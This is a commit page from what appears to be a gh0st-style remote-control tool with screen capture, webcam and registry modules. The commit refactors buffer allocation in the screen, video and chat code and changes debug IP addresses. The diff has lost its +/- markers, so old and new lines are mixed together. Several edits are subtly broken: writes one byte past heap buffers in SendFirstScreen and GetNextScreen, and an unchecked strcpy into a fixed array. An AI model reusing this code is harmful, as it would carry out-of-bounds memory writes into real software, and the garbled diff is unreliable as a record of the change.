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减少远程桌面new的频次

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减少远程桌面new缓冲区的频率，将部分从堆上new固定内存的操作改用从栈上分配内存。
This commit is contained in:
yuanyuanxiang
2019-01-21 21:04:17 +08:00
parent 5aadfc13a6
commit 4283a31e66
9 changed files with 37 additions and 35 deletions
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6
ReadMe.txt
View File

@@ -127,3 +127,9 @@
4、当退出远程桌面窗口全屏状态时，不再向远程被控端发送F11。
5、发现在有线网络条件下主控端崩溃几率较小。
6、禁用主控端输入法，解决使用远程桌面在被控端输入时的麻烦问题。
2019.1.21
减少远程桌面new缓冲区的频率，将部分从堆上new固定内存的操作改用从栈上分配内存。

1
client/RegisterOperation.cpp
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@@ -86,7 +86,6 @@ char* RegisterOperation::FindPath()
if(KeyCount>0&&KeySize>1){
int Size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
ZeroMemory(szBuffer,DataSize);

18
client/ScreenManager.cpp
View File

@@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
m_ScreenSpyObject = new CScreenSpy(16);
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}
@@ -64,8 +66,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
printf("SendScreen Span = %d ms\n", span);
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
delete[] szBuffer;
szBuffer = NULL;
}
}
timeEndPeriod(1);
@@ -102,6 +102,11 @@ CScreenManager::~CScreenManager()
delete[] m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
if(szBuffer)
{
delete [] szBuffer;
szBuffer = NULL;
}
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -195,16 +200,12 @@ VOID CScreenManager::SendFirstScreen()
}
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
delete [] szBuffer;
szBuffer = NULL;
szBuffer[ulFirstSendLength] = 0;
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -218,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
ulNextSendLength += 1;
char* szBuffer = new char[ulNextSendLength];
szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
szBuffer[ulNextSendLength] = 0;
return szBuffer;
}

1
client/ScreenManager.h
View File

@@ -17,6 +17,7 @@ class IOCPClient;
class CScreenManager : public CManager
{
public:
char* szBuffer;
CScreenManager(IOCPClient* ClientObject, int n);
virtual ~CScreenManager();
HANDLE m_hWorkThread;

8
client/TestRun.vcxproj.user
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@@ -1,10 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<RemoteDebuggerCommand>D:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>D:\VM\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerServerName>192.168.12.248</RemoteDebuggerServerName>
<DeploymentDirectory>D:\VM\Remoter</DeploymentDirectory>
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
<DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>

14
client/VideoManager.cpp
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@@ -83,25 +83,21 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor()
{
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE szBuffer = new BYTE[dwBytesLength];
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
delete [] szBuffer;
}
void CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
UINT nBufferLen = nHeadLen + dwBmpImageSize;
LPBYTE lpBuffer = new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;

2
client/ghost.vcxproj.user
View File

@@ -2,7 +2,7 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.12.250 2356</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>

14
server/2015Remote/ScreenSpyDlg.cpp
View File

@@ -5,6 +5,7 @@
#include "2015Remote.h"
#include "ScreenSpyDlg.h"
#include "afxdialogex.h"
#include <imm.h>
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -28,6 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialog(CScreenSpyDlg::IDD, Parent)
{
ImmDisableIME(0);// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>뷨
m_bFullScreen = FALSE;
m_iocpServer = IOCPServer;
@@ -415,7 +417,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: <20>˳<EFBFBD>ȫ<EFBFBD><C8AB>
return true;
return TRUE;
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG Msg;
@@ -426,7 +428,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
SendCommand(&Msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
return TRUE;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
break;
}
@@ -439,12 +441,12 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg)
if (!m_bIsCtrl)
return;
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
const int length = sizeof(MSG) + 1;
BYTE szData[length + 3];
szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, Msg, sizeof(MSG));
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
delete[] szData;
szData[length] = 0;
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
}
BOOL CScreenSpyDlg::SaveSnapshot(void)

6
server/2015Remote/TalkDlg.cpp
View File

@@ -25,6 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
m_EditTalk.SetLimitText(2048);
}
@@ -63,15 +64,12 @@ void CTalkDlg::OnBnClickedButtonTalk()
CString strData;
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char* szBuffer = new char[iLength + 1]; // 2019.1.5 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1
memset(szBuffer,0,sizeof(char)*iLength);
char szBuffer[4096] = {0};
strcpy(szBuffer,strData.GetBuffer(0));
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
delete [] szBuffer;
}